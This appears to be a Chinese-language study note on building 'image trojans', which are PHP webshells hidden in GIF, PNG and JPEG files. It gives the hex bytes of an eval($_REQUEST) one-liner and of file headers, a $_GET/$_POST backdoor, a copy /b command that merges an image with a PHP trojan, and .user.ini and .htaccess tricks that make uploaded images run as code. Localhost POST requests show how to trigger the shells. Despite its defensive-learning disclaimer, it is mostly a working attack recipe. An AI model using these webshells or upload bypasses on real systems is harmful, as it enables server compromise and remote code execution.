【笔记】图片马制作和利用
前言
图片马制作和利用
本文仅用于网络信息防御学习
制作包含恶意代码的无效图片文件
- 把PHP代码字符串转换为PHP代码十六进制数,然后再与图片文件头十六进制数与PHP代码十六进制数组合
- 这种图片因为只有文件头所以不能正常显示图片
phpinfo的十六进制数据
<?php phpinfo();?>
1 | 3C3F70687020706870696E666F28293B3F3E |
一句话木马的十六进制数据
<?php eval($_REQUEST["<pwd>"]);?>
1 | 3C3F706870206576616C28245F524551554553545B223C7077643E225D293B3F3E |
GIF文件头
GIF87a
1 | 474946383761 |
GIF89a
1 | 474946383961 |
PNG文件头
1 | 80504E470D0A1A0A |
JPEG文件头
GFIF
1 | FFD8FFE000104A4649460001 |
制作包含恶意代码的有效图片文件
- 这种方法的缺点是图片可能会看起来不正常
GIF文件
- 向gif图片注入恶意代码
准备工作
- 一张正常显示的jpg图片
为图片注入恶意代码
- 对比上传前和上传后的图片十六进制,将恶意代码插入到上传前后没有变动的区域内
1 | eval($_REQUEST[x]); |
图片木马利用
1 | POST http://localhost:80/<filename>.gif |
PNG文件
- 生成包含恶意代码的png图片
源代码
- 后门代码
<?=$_GET[0]($_POST[1])?>
1 |
|
制作包含恶意代码的图片
<filename>.png
:生成的新的图片路径
1 | php main.php <filename>.png |
图片木马利用
1 | POST http://localhost:80/<filename>.png?0=system |
JPEG文件
- 向jpg图片注入恶意代码
准备工作
- 一张正常显示的jpg图片
源代码
$miniPayload
:定义注入的代码
1 |
|
为图片注入恶意代码
<filename>.jpg
:原图片路径
1 | php main.php <filename>.jpg |
- 注入后生成
payload_
为前缀的图片
图片木马利用
1 | POST http://localhost:80/<filename>.jpg |
在图片文件的版权信息中注入恶意代码
准备工作
- Windows环境
- 一张正常显示的图片
制作方法
- 右键图片文件->
属性
->详细信息
->在版权
填写恶意代码 - 也可以通过PS将恶意代码写在图片的详细信息里
图片文件与恶意代码文件合并
准备工作
- Windows环境
- 一张正常显示的图片
- 恶意代码文件
制作方法
<file>.jpg
:原图文件<file>.php
:原木马文件<file_new>.jpg
:合并后的图片马
1 | copy /b <file>.jpg+<file>.php <file_new>.jpg |
图片马利用
- 包含木马的图片在直接访问时是不能直接触发代码执行的,除非访问站点的图片不是通过直接返回图片文件而是用代码渲染图片
.user.ini
准备工作
- PHP7以上版本环境
- 上传文件的目录需要有
index.php
文件或可以上传index.php
文件,文件内容随意
将图片作为代码来执行
- 使用
.user.ini
文件来自动将图片作为代码来执行
- 上传
.user.ini
文件
file.png
:将图片作为php代码解析/var/log/nginx/access.log
:将日志文件作为php代码解析
1 | auto_prepend_file=file.png |
- 上传图片马
file.png
1 | POST http://localhost:80/upload.php |
- 图片马利用
http://localhost:80
:图片马上传的目录
1 | POST http://localhost:80/index.php |
index.php
可以省略
1 | POST http://localhost:80/ |
.htaccess
准备工作
- Apache环境
将图片作为代码来执行
- 上传
.htaccess
文件
将指定后缀名的文件当作php文件执行
.png
:当作php文件执行的文件格式
1 | POST http://localhost:80/upload.php |
- 上传图片马
file.png
1 | POST http://localhost:80/upload.php |
- 图片马利用
1 | POST http://localhost:80/file.png |
完成
参考文献
哔哩哔哩——逆风微笑的代码狗
腾讯云开发者社区——腾讯AlloyTeam
程序师的博客
腾讯云开发者社区——天天P图攻城狮
哔哩哔哩——千锋教育网络安全学院
哔哩哔哩——xiaodisec
CSDN——qq_40800734